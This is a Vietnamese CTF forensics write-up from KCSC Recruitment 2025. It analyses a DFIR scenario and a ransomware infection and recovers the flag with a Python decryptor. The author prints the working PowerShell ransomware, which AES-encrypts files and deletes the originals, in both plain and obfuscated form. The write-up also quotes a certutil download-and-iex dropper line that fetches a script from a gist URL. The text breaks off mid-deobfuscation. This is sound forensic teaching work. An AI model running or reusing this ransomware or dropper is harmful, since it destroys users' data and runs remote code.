# Write Up KCSC Recruitment 2025 [FORENSICS] ![image](https://hackmd.io/_uploads/ByLAjT9vyl.png) --- ## Forensics ### 1. DFIR 01 ```bash= DFIR 01 0 Sự cố được giả định tại một Công ty có tên DFCorp có trụ sở tại Việt Nam. Công ty sử dụng các máy chủ, được thiết kế và lắp đặt, kết nối như sau: Danh sách các dải mạng: DMZ: 192.168.6.0/24 USERLAN: 192.168.17.0/24 Danh sách các thiết bị tham gia hệ thống mạng: Máy chủ Backup (DMZ): 192.168.6.20 cài đặt Mật khẩu truy cập: Administrator / DFC0rp@sysad Máy chủ ảo hóa (DMZ): 192.168.6.21 cài đặt VMWare ESXi standalone Mật khẩu truy cập: root / DFC0rp@ESXi Thiết bị Firewall: 192.168.6.1 sử dụng thiết bị Fortigate 201F Máy chủ Database (DMZ): 192.168.6.24 cài đặt Ubuntu và OracleDB 23ai Máy chủ Queue (DMZ): 192.168.6.23 cài đặt CentOS và RabbitMQ Các nhân viên tham gia với dải mạng USERLAN Sự cố xảy ra trên hạ tầng máy chủ chính của DFCorp, chứa nhiều dữ liệu quan trọng của người dùng cũng như các bí mật kinh doanh. Hiện trạng sự cố: ‾ Các máy chủ dịch vụ (DB, Queue) không thể truy cập. ‾ Đội ngũ quản trị đã thử đăng nhập máy chủ ESXi để bật lại VM nhưng không thành công do sai mật khẩu ‾ Khi đăng nhập vào máy chủ backup, hệ thống luôn luôn sử dụng 100% CPU và có dấu hiệu của tấn công mã hóa dữ liệu Đội ngũ quản trị đã thực hiện cách ly máy chủ ESXi và máy chủ backup sang dải mạng riêng, với vai trò là đội ứng cứu sự cố, hãy hỗ trợ công ty DFCorp điều tra nguyên nhân tấn công và các hành vi kẻ tấn công đã thực hiện được. Lưu ý: Cách tắt hyper-V để có thể chạy vmesxi: bcdedit /set hypervisorlaunchtype off bật hyper-V: bcdedit /set hypervisorlaunchtype auto Sau khi tắt hoặc bật hyper-V hãy khởi động lại máy chủ Nếu máy chủ windows gây ra load nhiều cpu hãy set về hostonly hoặc ngắt mạng máy chủ Nhập ok vào ô flag để mở khóa thử thách tiếp theo sau khi đã đọc xong mô tả, tương tự với các challange sẽ được mở khi hoàn thành challange yêu cầu Có tổng cộng 10 bài ``` > https://www.starwindsoftware.com/blog/forgot-esxi-root-password-no-problems-4-ways-reset/ > > https://www.vinchin.com/vm-tips/boot-vm-from-iso-images-cd-dvd.html > > https://youtu.be/bp_YVZRdXjg?si=Xp3sYY5WUGTxa3Gs --- ### 2. HDSD ![image](https://hackmd.io/_uploads/SJbYTS5PJx.png) Bài cho mình file `.ad1`, mình dùng `ftk` mở file và bắt đầu tìm kiếm, vì đề bảo bạn Minh tải mã độc về và bị khóa voucher, mình bắt đầu với thư mục downloads và có được file voucher (có thể chứa flag) bị mã hóa: ![image](https://hackmd.io/_uploads/SJFG_a5P1e.png) Xuất file đó ra trước và bắt đầu tìm kiếm con mã độc, sau khi tìm qua các vị trí mình thường gặp nhưng vẫn không thấy gì đặc biệt, mình tìm sâu hơn xung quanh các file khác và phát hiện file chứa nội dung khả nghi ở thư mục `temp`: ![image](https://hackmd.io/_uploads/SyRStp9P1g.png) ```bash= function XOR-String { param([string]$InputString, [string]$Key) $inputBytes = [System.Text.Encoding]::UTF8.GetBytes($InputString) $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key) $outputBytes = @() for ($i = 0; $i -lt $inputBytes.Length; $i++) { $outputBytes += $inputBytes[$i] -bxor $keyBytes[$i % $keyBytes.Length] } return [System.Text.Encoding]::UTF8.GetString($outputBytes) } $PCName = $env:COMPUTERNAME $Key = XOR-String -InputString $PCName -Key "UwU" $IV = XOR-String -InputString $PCName -Key "XD" $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key.PadRight(16).Substring(0,16)) $ivBytes = [System.Text.Encoding]::UTF8.GetBytes($IV.PadRight(16).Substring(0,16)) function Encrypt-File { param([string]$InputFile, [string]$OutputFile) $aes = [System.Security.Cryptography.Aes]::Create() $aes.Key = $keyBytes $aes.IV = $ivBytes $encryptor = $aes.CreateEncryptor() $inputBytes = [System.IO.File]::ReadAllBytes($InputFile) $encryptedBytes = $encryptor.TransformFinalBlock($inputBytes, 0, $inputBytes.Length) [System.IO.File]::WriteAllBytes($OutputFile, $encryptedBytes) } Get-ChildItem -File -Recurse | ForEach-Object { $inputFile = $_.FullName $outputFile = "$($_.FullName).cucked" Encrypt-File -InputFile $inputFile -OutputFile $outputFile if ($_.Extension -ne ".cucked") { Remove-Item -Path $inputFile -Force } } ``` Script PowerShell trên mã hóa tất cả các tệp trong thư mục bằng AES với khóa và IV tạo từ tên máy tính. Hàm XOR-String sử dụng XOR để tạo khóa và IV từ tên máy tính với các chuỗi cố định (`UwU` & `XD`). Sau đó, nó dùng AES để mã hóa nội dung tệp với khóa và IV 16 byte. Mỗi tệp được mã hóa sẽ được lưu với đuôi .cucked, và tệp gốc bị xóa trừ khi đã có đuôi `.cucked`. Ta chỉ cần tìm được tên máy tính và viết script giải mã là được: ![image](https://hackmd.io/_uploads/Bkhc9T9wyx.png) ```python= import os from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend def xor_string(input_string: str, key: str) -> str: input_bytes = input_string.encode('utf-8') key_bytes = key.encode('utf-8') output_bytes = bytearray() for i in range(len(input_bytes)): output_bytes.append(input_bytes[i] ^ key_bytes[i % len(key_bytes)]) return output_bytes.decode('utf-8') def giai_ma_file(duong_dan_file_ma_hoa: str): try: ten_may = "DESKTOP-SH94VUS" key = xor_string(ten_may, "UwU") iv = xor_string(ten_may, "XD") key_bytes = key.encode('utf-8').ljust(16)[:16] iv_bytes = iv.encode('utf-8').ljust(16)[:16] cipher = Cipher( algorithms.AES(key_bytes), modes.CBC(iv_bytes), backend=default_backend() ) decryptor = cipher.decryptor() with open(duong_dan_file_ma_hoa, 'rb') as f: du_lieu_ma_hoa = f.read() du_lieu_goc = decryptor.update(du_lieu_ma_hoa) + decryptor.finalize() ten_file_goc = "Voucher_hoc_bong_chuyen_auto_pass_mon.txt" with open(ten_file_goc, 'wb') as f: f.write(du_lieu_goc) print(f"Đã giải mã thành công: {ten_file_goc}") except Exception as e: print(f"Lỗi khi giải mã: {str(e)}") ten_file = "Voucher_hoc_bong_chuyen_auto_pass_mon.txt.cucked" if os.path.exists(ten_file): giai_ma_file(ten_file) else: print(f"Không tìm thấy file {ten_file}") ``` Chạy script cho file voucher bị mã hóa và ta có được flag: ```Flag: KCSC{the^?_cha^'t_KMA_la`_nhung~_niem`_dau}``` --- #### Hướng đi theo ý muốn của author > READ: https://unit42.paloaltonetworks.com/malicious-compiled-html-help-file-agent-tesla/ Ta cần phân tích file .chm, dùng 7z: ![image](https://hackmd.io/_uploads/HJqcR62wyl.png) Mình thấy có file `.htm` khi mở ra có nội dung khả nghi: ![image](https://hackmd.io/_uploads/rJixy02vyg.png) Có thể thấy được chuỗi powershell khả nghi: ```powershell= $path="$env:Temp\\63004e38-600c-48bc-bf36-399c3e638772.tmp"; certutil -urlcache -split -f https://gist.github.com/un1dt5/ea5fbb19606ab017982a3dcc9fd62385/raw/69faa2d3a8167a241e71ce998b99b2e537d6a2fe/cucking.ps1 $path; iex (Get-Content $path -Raw); Remove-Item "$env:TEMP\*" -Recurse -Force ``` > Tải file từ URL: > File cucking.ps1 được tải về từ một đường dẫn gist.github.com/un1dt5. > Sử dụng công cụ certutil để tải mã độc mà không bị phát hiện. > Thực thi mã độc: > Sử dụng iex để thực thi nội dung của tệp đã tải. > Xóa dấu vết: > Lệnh Remove-Item được dùng để xóa tất cả các tệp trong thư mục %TEMP%. Truy cập bình thường thì sẽ không được nên mình clone nó về, trước khi clone đừng quên lấy `Personal Access Token (PAT):` >https://github.com/settings/tokens ![image](https://hackmd.io/_uploads/B1E5-A3wkg.png) Có được file .ps1, đọc thử: ![image](https://hackmd.io/_uploads/HyF2ZRhv1l.png) Nhìn chung thì đoạn mã này Lấy dữ liệu được mã hóa Base64.Giải mã Base64 thành dữ liệu nhị phân.Giải nén dữ liệu bằng thuật toán Deflate để lấy nội dung thực.Đọc dữ liệu dưới dạng ASCII để tạo ra mã lệnh.Thực thi mã lệnh bằng Invoke-Expression (iex). Mình lại đảo ngược lại quá trình để lấy được mã thật: ![image](https://hackmd.io/_uploads/Syg-rC2vyl.png) ```powershell= $ZSL = ") )43]raHc[]GNiRtS[,'0tG'(eCALPEr.)93]raHc[]GNiRtS[,'nlS'(eCALPEr.)421]raHc[]GNiRtS[,)77]raHc[+111]raHc[+701]raHc[((eCALPEr.)')nlSnlSnIoj-]2,11,3[eMan.)n'+'lS*rdM*nlS E'+'lbAiRaV((. Mok )93]RAHC[,'+'nlSy96nlS ecalpErC-))nlSlx( y96+y96rof nlS,nlSnE.txeTy96+y96'+'.metsyS[ = setyBtupniJlx '+' )yeKJlx]y96+y96gny96+y96irts[ ,gy96+y96nirtStupnIJlx]nlS,nlSRETUy96+y96PMOC:vneJl'+'x = emaNCPJlx } y96+y96)setyBtuptunlS,nlS y96+y96 nlS,nlS )(@ = sety96+y96yBtuptuoJlx )yeKJlx(setyBteG.8FTU::]gnidocnEnlS,nlSeaJy96+y96lx = rotpy9nlS,nlSpnI- gnirtS-ROX = yeKJlx '+' EMANnlS,nlSrtsnl'+'S,nlS96+y96lx ey96+y96maNllnlS,nlSoJl'+'x y96+y96 '+'{ )++iJl'+'x ;hnlS'+',nlSnidnlS,nlScn'+'E noiy96+y96tcnuf y96+y96 nlS,nlS'+' iJlx[setyByekJlx roxb- ]iJlx[setyBtupniJlx =+ setyBtnlS,nlS))61,'+'0(gnirtsby96+y96uS.)61(thgiRdaP.VIJlx(setyBteGn'+'lS,nlS gnirtStupnI- gnirtS-ROX = VIJlx oz6UnlS,nlStgneL.'+'setyBtupniJ'+'l'+'x tl- iJlx ;0 nlS,nlS6niJlx htaPnlS,nlSliFtupnI- e'+'liF-tpyrcnlS,nlSyS[ nru'+'tey96+y96r nlS,nlSrts[(marap { gnirtS-ROXy96+y96 noitcny96+y96ufy96((( xEi nlS,nlSiC esruceR- eliF- metnlS,nlS { tcejbO-hcaEroF EnlS,nlSarap { eliF-nl'+'S,nlSFmrofsnarT.rotpyrcneJlx = setyBdetp'+'yrcneJlxy96+ynlS,nlSy96( f'+'i nlS,nl'+'SsyS[ = se'+'tyByekJlx '+' oz6DXoz6 yeK- emaNCPJlxnl'+'S,nlSocnE.txeT.metsnlS,nlS6yBllAetirW::]eliF.OI.metsyS[ )htgnlS,nlS )eliFtuptuO'+'Jlx]gniry96+y96ts[ ,eliFtupnIJlx'+']gnirts[(mn'+'lS,nlSp'+'tu'+'OJlx(sety96+y9nlS,nlS'+' y'+'96'+'+y96 ]htgneL.se'+'tyByekJlx %nlS,nlS96+y96 gnirtStunlS,n'+'l'+'S6+y'+'96 nlS,nlSJlx(setyBtey96+y96G.8FTU::]gy96+y96nidocnE.txeT.metnlS,nlSevomeR { )oz6nlS,nlSgninlS,nlSuF._Jlx = eliFtupniy96+y96Jlx nlS,nl'+'S.txeT.metsyS['+' = setyByek'+'Jlx y96+y96 '+')gnnlS,nlSIdlihC-y96+y'+'96teG } )set'+'yBdetpyrcneJlx ,eliFtunlS,nlS6+y96'+'yrcneJlx setyBviJlx = y9'+'6+y96VI.seaJlx '+'setyByekJlx = yey96'+'+y96K.seaJlx )(etaenlS,nlSi'+'rtStupnIJy96+'+'y96lx(sy96+y96etyBteG.8FTU::]gnidocnlS,nlS '+' eliFtuptuoJlx eliFtuptuO- eliFtup'+'niJlx enlS,nlS oz6dekcuc.)emaNllu'+'F._Jlx(Jlxoz6 = eli'+'FtuptuoJynlS,nlSeT.metsyS[ = '+'nlS,nlS1,0(gninlS,nlSuptunlS,nlS ))421]RAHc[,)96]RAHc[+501]RAHc[+76]RAHc[( ecALpeR- 43'+']RAHc[,y96oz6y96 ecALpeR-63]RAHc[,y96Jlxy96 eCalpeRc-)y96 '+' } }y96+y96 '+' ecroF- eliFtupy96+y9nlS,nlSdekcy96+y96uc.oz6 y9nlS'+',n'+'lSaeR::]eli'+'F.OI.metsyS[ = setyBtupniJlx '+' '+')(rotpy9'+'6+y96'+'yrcnEe'+'taerC.s'+'nlS,nlSrC::]seA.yhpargotpyrC.ytiruceS.metsyS[ ='+' seaJlx '+' y96+y96nlS,nlSnE nlS,nlSwUozy96+y966 yeK'+'- em'+'aNCPJlxynlS,nlS }y9nlS,nlS96 y96+y96 )eliFtupnIJlx'+'(setyBllAd'+'nlS,nlS.8FTU::]gnidocnE.txnlS,nlStpyry96+y96nlS,nlSneL.setyBtupniJlx ,'+'y96+y960 ,setyBtupniJlx(kcolBlaninlS,nlS6+y96en- noisnetxE'+'._Jlxy96+nlS,nlSoJlx(gnirty96+y96SteG.8FTUy96+y96::]gnlS,nlS nlS,'+'nlSsetyBviJlx ))6nlS,nlS= iJ'+'nlS,nlS- metI-y96+y96nlS,nlSbuS.)61(thgiRdaP.yeKnlS f- 0tG}71{}74{}1{}92{}61{}6{}93{}22{}'+'64{}3'+'1{}12{}55{}72{}24{}34{}52{}43{}63{}7{}04{}01{}51{}85{}42{}41{}06{}53{}14{}8{}25{}05{'+'}9{}02{}3{}91{}65{}0{}03{}83{}94{}21{}23{}75{}16{}5{}35{}73{}54{}4{}1'+'1{}13{}33{}'+'15{}81{}45{}84{}2{}36{}95{'+'}62{}32{}26{}82'+'{}44{0tG((( '(()''NiOJ-]52,42,4[CepsmOC:vNE$ (. " ;&( ([strInG]$vErBOSEPreFERenCE)[1,3]+'X'-JoIn'')([sTRing]::join('' , ( GET-iTEm ('vAri'+'ABl'+'E:Zs'+'l')).Value[ -1..- ( ( GET-iTEm ('vAri'+'ABl'+'E:Zs'+'l')).Value.LeNGtH) ] ) ) ``` Deobfuscate như bình thường: ```bash= Layer 1 - Obfuscation type: String-Based $ZSL = ") )43]raHc[]GNiRtS[,'0tG'(eCALPEr.)93]raHc[]GNiRtS[,'nlS'(eCALPEr.)421]raHc[]GNiRtS[,)77]raHc[+111]raHc[+701]raHc[((eCALPEr.)')nlSnlSnIoj-]2,11,3[eMan.)n'+'lS*rdM*nlS E'+'lbAiRaV((. Mok )93]RAHC[,'+'nlSy96nlS ecalpErC-))nlSlx( y96+y96rof nlS,nlSnE.txeTy96+y96'+'.metsyS[ = setyBtupniJlx '+' )yeKJlx]y96+y96gny96+y96irts[ ,gy96+y96nirtStupnIJlx]nlS,nlSRETUy96+y96PMOC:vneJl'+'x = emaNCPJlx}y96+y96)setyBtuptunlS,nlS y96+y96nlS,nlS )(@ = sety96+y96yBtuptuoJlx )yeKJlx(setyBteG.8FTU::]gnidocnEnlS,nlSeaJy96+y96lx = rotpy9nlS,nlSpnI- gnirtS-ROX = yeKJlx'+'EMANnlS,nlSrtsnl'+'S,nlS96+y96lx ey96+y96maNllnlS,nlSoJl'+'x y96+y96 '+'{ )++iJl'+'x ;hnlS'+',nlSnidnlS,nlScn'+'E noiy96+y96tcnufy96+y96nlS,nlS'+' iJlx[setyByekJlx roxb- ]iJlx[setyBtupniJlx =+ setyBtnlS,nlS))61,'+'0(gnirtsby96+y96uS.)61(thgiRdaP.VIJlx(setyBteGn'+'lS,nlS gnirtStupnI- gnirtS-ROX = VIJlxoz6UnlS,nlStgneL.'+'setyBtupniJ'+'l'+'x tl- iJlx ;0 nlS,nlS6niJlx htaPnlS,nlSliFtupnI- e'+'liF-tpyrcnlS,nlSyS[ nru'+'tey96+y96r nlS,nlSrts[(marap { gnirtS-ROXy96+y96 noitcny96+y96ufy96((( xEi nlS,nlSiC esruceR- eliF- metnlS,nlS{ tcejbO-hcaEroF EnlS,nlSarap { eliF-nl'+'S,nlSFmrofsnarT.rotpyrcneJlx = setyBdetp'+'yrcneJlxy96+ynlS,nlSy96( f'+'i nlS,nl'+'SsyS[ = se'+'tyByekJlx'+'oz6DXoz6 yeK- emaNCPJlxnl'+'S,nlSocnE.txeT.metsnlS,nlS6yBllAetirW::]eliF.OI.metsyS[ )htgnlS,nlS)eliFtuptuO'+'Jlx]gniry96+y96ts[ ,eliFtupnIJlx'+']gnirts[(mn'+'lS,nlSp'+'tu'+'OJlx(sety96+y9nlS,nlS'+'y'+'96'+'+y96]htgneL.se'+'tyByekJlx %nlS,nlS96+y96 gnirtStunlS,n'+'l'+'S6+y'+'96 nlS,nlSJlx(setyBtey96+y96G.8FTU::]gy96+y96nidocnE.txeT.metnlS,nlSevomeR { )oz6nlS,nlSgninlS,nlSuF._Jlx = eliFtupniy96+y96Jlx nlS,nl'+'S.txeT.metsyS['+' = setyByek'+'Jlx y96+y96'+')gnnlS,nlSIdlihC-y96+y'+'96teG})set'+'yBdetpyrcneJlx ,eliFtunlS,nlS6+y96'+'yrcneJlx setyBviJlx = y9'+'6+y96VI.seaJlx '+'setyByekJlx = yey96'+'+y96K.seaJlx )(etaenlS,nlSi'+'rtStupnIJy96+'+'y96lx(sy96+y96etyBteG.8FTU::]gnidocnlS,nlS '+'eliFtuptuoJlx eliFtuptuO- eliFtup'+'niJlx enlS,nlS oz6dekcuc.)emaNllu'+'F._Jlx(Jlxoz6 = eli'+'FtuptuoJynlS,nlSeT.metsyS[ = '+'nlS,nlS1,0(gninlS,nlSuptunlS,nlS ))421]RAHc[,)96]RAHc[+501]RAHc[+76]RAHc[( ecALpeR- 43'+']RAHc[,y96oz6y96 ecALpeR-63]RAHc[,y96Jlxy96 eCalpeRc-)y96'+'}}y96+y96 '+'ecroF- eliFtupy96+y9nlS,nlSdekcy96+y96uc.oz6 y9nlS'+',n'+'lSaeR::]eli'+'F.OI.metsyS[ = setyBtupniJlx '+' '+')(rotpy9'+'6+y96'+'yrcnEe'+'taerC.s'+'nlS,nlSrC::]seA.yhpargotpyrC.ytiruceS.metsyS[ ='+' seaJlx '+' y96+y96nlS,nlSnE nlS,nlSwUozy96+y966 yeK'+'- em'+'aNCPJlxynlS,nlS }y9nlS,nlS96 y96+y96)eliFtupnIJlx'+'(setyBllAd'+'nlS,nlS.8FTU::]gnidocnE.txnlS,nlStpyry96+y96nlS,nlSneL.setyBtupniJlx ,'+'y96+y960 ,setyBtupniJlx(kcolBlaninlS,nlS6+y96en- noisnetxE'+'._Jlxy96+nlS,nlSoJlx(gnirty96+y96SteG.8FTUy96+y96::]gnlS,nlS nlS,'+'nlSsetyBviJlx))6nlS,nlS= iJ'+'nlS,nlS- metI-y96+y96nlS,nlSbuS.)61(thgiRdaP.yeKnlS f- 0tG}71{}74{}1{}92{}61{}6{}93{}22{}'+'64{}3'+'1{}12{}55{}72{}24{}34{}52{}43{}63{}7{}04{}01{}51{}85{}42{}41{}06{}53{}14{}8{}25{}05{'+'}9{}02{}3{}91{}65{}0{}03{}83{}94{}21{}23{}75{}16{}5{}35{}73{}54{}4{}1'+'1{}13{}33{}'+'15{}81{}45{}84{}2{}36{}95{'+'}62{}32{}26{}82'+'{}44{0tG((( '(()''NiOJ-]52,42,4[CepsmOC:vNE$ (. " ;&( ([strInG]$vErBOSEPreFERenCE)[1,3]+'X'-JoIn'')([sTRing]::join('' , ( GET-iTEm ('vAri'+'ABl'+'E:Zs'+'l')).Value[ -1..- ( ( GET-iTEm ('vAri'+'ABl'+'E:Zs'+'l')).Value.LeNGtH) ] ) ) Layer 2 - Obfuscation type: String-Based .( $ENv:COmspeC[4,24,25]-JOiN'')((' (((Gt0{44}{'+'28}{62}{23}{26}'+'{59}{63}{2}{48}{54}{18}{51'+'}{33}{31}{1'+'1}{4}{45}{37}{53}{5}{61}{57}{32}{12}{49}{38}{30}{0}{56}{19}{3}{20}{9}'+'{50}{52}{8}{41}{35}{60}{14}{24}{58}{15}{10}{40}{7}{36}{34}{25}{43}{42}{27}{55}{21}{1'+'3}{46'+'}{22}{39}{6}{16}{29}{1}{47}{17}Gt0 -f SlnKey.PadRight(16).SubSln,Sln69y+69y-Item -Sln,Sln'+'Ji =Sln,Sln6))xlJivBytesSln'+',Sln Sln,Slng]::69y+69yUTF8.GetS69y+69ytring(xlJoSln,Sln+69yxlJ_.'+'Extension -ne69y+6Sln,SlninalBlock(xlJinputBytes, 069y+69y'+', xlJinputBytes.LenSln,Sln69y+69yryptSln,Slnxt.Encoding]::UTF8.Sln,Sln'+'dAllBytes('+'xlJInputFile)69y+69y 69Sln,Sln9y} Sln,SlnyxlJPCNa'+'me -'+'Key 669y+69yzoUwSln,Sln EnSln,Sln69y+69y '+' xlJaes '+'= [System.Security.Cryptography.Aes]::CrSln,Sln'+'s.Creat'+'eEncry'+'69y+6'+'9yptor()'+' '+' xlJinputBytes = [System.IO.F'+'ile]::ReaSl'+'n,'+'Sln9y 6zo.cu69y+69yckedSln,Sln9y+69yputFile -Force'+' 69y+69y}}'+'69y)-cReplaCe 69yxlJ69y,[cHAR]36-RepLAce 69y6zo69y,[cHAR]'+'34 -RepLAce ([cHAR]67+[cHAR]105+[cHAR]69),[cHAR]124)) Sln,SlnutpuSln,Slning(0,1Sln,Sln'+' = [System.TeSln,SlnyJoutputF'+'ile = 6zoxlJ(xlJ_.F'+'ullName).cucked6zo Sln,Slne xlJin'+'putFile -OutputFile xlJoutputFile'+' Sln,Slncoding]::UTF8.GetByte69y+69ys(xl69y'+'+69yJInputStr'+'iSln,Slneate() xlJaes.K69y+'+'69yey = xlJkeyBytes'+' xlJaes.IV69y+6'+'9y = xlJivBytes xlJencry'+'69y+6Sln,SlnutFile, xlJencryptedBy'+'tes)}Get69'+'y+69y-ChildISln,Slnng)'+'69y+69y xlJ'+'keyBytes = '+'[System.Text.S'+'ln,Sln xlJ69y+69yinputFile = xlJ_.FuSln,SlningSln,Sln6zo) { RemoveSln,Slntem.Text.Encodin69y+69yg]::UTF8.G69y+69yetBytes(xlJSln,Sln 69'+'y+6S'+'l'+'n,SlnutString 69y+69Sln,Sln% xlJkeyByt'+'es.Length]69y+'+'69'+'y'+'Sln,Sln9y+69ytes(xlJO'+'ut'+'pSln,Sl'+'nm([string]'+'xlJInputFile, [st69y+69yring]xlJ'+'OutputFile)Sln,Slngth) [System.IO.File]::WriteAllBy6Sln,Slnstem.Text.EncoSln,S'+'lnxlJPCName -Key 6zoXD6zo'+'xlJkeyByt'+'es = [SysS'+'ln,Sln i'+'f (69ySln,Slny+69yxlJencry'+'ptedBytes = xlJencryptor.TransformFSln,S'+'ln-File { paraSln,SlnE ForEach-Object {Sln,Slntem -File -Recurse CiSln,Sln iEx (((69yfu69y+69ynction 69y+69yXOR-String { param([strSln,Sln r69y+69yet'+'urn [SySln,Slncrypt-Fil'+'e -InputFilSln,SlnPath xlJin6Sln,Sln 0; xlJi -lt x'+'l'+'JinputBytes'+'.LengtSln,SlnU6zoxlJIV = XOR-String -InputString Sln,Sl'+'nGetBytes(xlJIV.PadRight(16).Su69y+69ybstring(0'+',16))Sln,SlntBytes += xlJinputBytes[xlJi] -bxor xlJkeyBytes[xlJi '+'Sln,Sln69y+69yfunct69y+69yion E'+'ncSln,SlndinSln,'+'Slnh; x'+'lJi++) {'+' 69y+69y x'+'lJoSln,SlnllNam69y+69ye xl69y+69Sln,S'+'lnstrSln,SlnNAME'+'xlJKey = XOR-String -InpSln,Sln9yptor = xl69y+69yJaeSln,SlnEncoding]::UTF8.GetBytes(xlJKey) xlJoutputBy69y+69ytes = @() Sln,Sln69y+69y Sln,SlnutputBytes)69y+69y}xlJPCName = x'+'lJenv:COMP69y+69yUTERSln,Sln]xlJInputStrin69y+69yg, [stri69y+69yng69y+69y]xlJKey) '+' xlJinputBytes = [System.'+'69y+69yText.EnSln,Sln for69y+69y (xlSln))-CrEplace Sln69ySln'+',[CHAR]39) koM .((VaRiAbl'+'E Sln*Mdr*Sl'+'n).naMe[3,11,2]-joInSlnSln)').rEPLACe(([cHar]107+[cHar]111+[cHar]77),[StRiNG][cHar]124).rEPLACe('Sln',[StRiNG][cHar]39).rEPLACe('Gt0',[StRiNG][cHar]34) ) Layer 3 - Obfuscation type: String-Based ((("{44}{28}{62}{23}{26}{59}{63}{2}{48}{54}{18}{51}{33}{31}{11}{4}{45}{37}{53}{5}{61}{57}{32}{12}{49}{38}{30}{0}{56}{19}{3}{20}{9}{50}{52}{8}{41}{35}{60}{14}{24}{58}{15}{10}{40}{7}{36}{34}{25}{43}{42}{27}{55}{21}{13}{46}{22}{39}{6}{16}{29}{1}{47}{17}" -f 'Key.PadRight(16).Sub','69y+69y-Item -','Ji =','6))xlJivBytes',' ','g]::69y+69yUTF8.GetS69y+69ytring(xlJo','+69yxlJ_.Extension -ne69y+6','inalBlock(xlJinputBytes, 069y+69y, xlJinputBytes.Len','69y+69yrypt','xt.Encoding]::UTF8.','dAllBytes(xlJInputFile)69y+69y 69','9y} ','yxlJPCName -Key 669y+69yzoUw',' En','69y+69y xlJaes = [System.Security.Cryptography.Aes]::Cr','s.CreateEncry69y+69yptor() xlJinputBytes = [System.IO.File]::Rea','9y 6zo.cu69y+69ycked','9y+69yputFile -Force 69y+69y}}69y)-cReplaCe 69yxlJ69y,[cHAR]36-RepLAce 69y6zo69y,[cHAR]34 -RepLAce ([cHAR]67+[cHAR]105+[cHAR]69),[cHAR]124)) ','utpu','ing(0,1',' = [System.Te','yJoutputFile = 6zoxlJ(xlJ_.FullName).cucked6zo ','e xlJinputFile -OutputFile xlJoutputFile ','coding]::UTF8.GetByte69y+69ys(xl69y+69yJInputStri','eate() xlJaes.K69y+69yey = xlJkeyBytes xlJaes.IV69y+69y = xlJivBytes xlJencry69y+6','utFile, xlJencryptedBytes)}Get69y+69y-ChildI','ng)69y+69y xlJkeyBytes = [System.Text.',' xlJ69y+69yinputFile = xlJ_.Fu','ing','6zo) { Remove','tem.Text.Encodin69y+69yg]::UTF8.G69y+69yetBytes(xlJ',' 69y+6','utString 69y+69','% xlJkeyBytes.Length]69y+69y','9y+69ytes(xlJOutp','m([string]xlJInputFile, [st69y+69yring]xlJOutputFile)','gth) [System.IO.File]::WriteAllBy6','stem.Text.Enco','xlJPCName -Key 6zoXD6zoxlJkeyBytes = [Sys',' if (69y','y+69yxlJencryptedBytes = xlJencryptor.TransformF','-File { para','E ForEach-Object {','tem -File -Recurse Ci',' iEx (((69yfu69y+69ynction 69y+69yXOR-String { param([str',' r69y+69yeturn [Sy','crypt-File -InputFil','Path xlJin6',' 0; xlJi -lt xlJinputBytes.Lengt','U6zoxlJIV = XOR-String -InputString ','GetBytes(xlJIV.PadRight(16).Su69y+69ybstring(0,16))','tBytes += xlJinputBytes[xlJi] -bxor xlJkeyBytes[xlJi ','69y+69yfunct69y+69yion Enc','din','h; xlJi++) { 69y+69y xlJo','llNam69y+69ye xl69y+69','str','NAMExlJKey = XOR-String -Inp','9yptor = xl69y+69yJae','Encoding]::UTF8.GetBytes(xlJKey) xlJoutputBy69y+69ytes = @() ','69y+69y ','utputBytes)69y+69y}xlJPCName = xlJenv:COMP69y+69yUTER',']xlJInputStrin69y+69yg, [stri69y+69yng69y+69y]xlJKey) xlJinputBytes = [System.69y+69yText.En',' for69y+69y (xl'))-CrEplace '69y',[CHAR]39) | .((VaRiAblE '*Mdr*').naMe[3,11,2]-joIn'') Layer 4 - Obfuscation type: String-Based iEx ((('fu'+'nction '+'XOR-String { param([string]xlJInputStrin'+'g, [stri'+'ng'+']xlJKey) xlJinputBytes = [System.'+'Text.Encoding]::UTF8.GetByte'+'s(xl'+'JInputString)'+' xlJkeyBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJKey) xlJoutputBy'+'tes = @() for'+' (xlJi = 0; xlJi -lt xlJinputBytes.Length; xlJi++) { '+' xlJoutputBytes += xlJinputBytes[xlJi] -bxor xlJkeyBytes[xlJi % xlJkeyBytes.Length]'+' '+'} r'+'eturn [System.Text.Encoding]::'+'UTF8.GetS'+'tring(xlJoutputBytes)'+'}xlJPCName = xlJenv:COMP'+'UTERNAMExlJKey = XOR-String -InputString '+'xlJPCName -Key 6'+'zoUwU6zoxlJIV = XOR-String -InputString xlJPCName -Key 6zoXD6zoxlJkeyBytes = [System.Text.Encodin'+'g]::UTF8.G'+'etBytes(xlJKey.PadRight(16).Substring(0,16))xlJivBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJIV.PadRight(16).Su'+'bstring(0,16))'+'funct'+'ion Enc'+'rypt-File { param([string]xlJInputFile, [st'+'ring]xlJOutputFile)'+' '+' xlJaes = [System.Security.Cryptography.Aes]::Create() xlJaes.K'+'ey = xlJkeyBytes xlJaes.IV'+' = xlJivBytes xlJencry'+'ptor = xl'+'Jaes.CreateEncry'+'ptor() xlJinputBytes = [System.IO.File]::ReadAllBytes(xlJInputFile)'+' '+'xlJencryptedBytes = xlJencryptor.TransformFinalBlock(xlJinputBytes, 0'+', xlJinputBytes.Length) [System.IO.File]::WriteAllBy'+'tes(xlJOutputFile, xlJencryptedBytes)}Get'+'-ChildItem -File -Recurse CiE ForEach-Object { xlJ'+'inputFile = xlJ_.FullNam'+'e xl'+'JoutputFile = 6zoxlJ(xlJ_.FullName).cucked6zo Encrypt-File -InputFile xlJinputFile -OutputFile xlJoutputFile if ('+'xlJ_.Extension -ne'+' 6zo.cu'+'cked6zo) { Remove'+'-Item -Path xlJin'+'putFile -Force '+'}}')-cReplaCe 'xlJ',[cHAR]36-RepLAce '6zo',[cHAR]34 -RepLAce ([cHAR]67+[cHAR]105+[cHAR]69),[cHAR]124)) Layer 5 - Plainscript iEx ((('function XOR-String { param([string]xlJInputString, [string]xlJKey) xlJinputBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJInputString) xlJkeyBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJKey) xlJoutputBytes = @() for (xlJi = 0; xlJi -lt xlJinputBytes.Length; xlJi++) { xlJoutputBytes += xlJinputBytes[xlJi] -bxor xlJkeyBytes[xlJi % 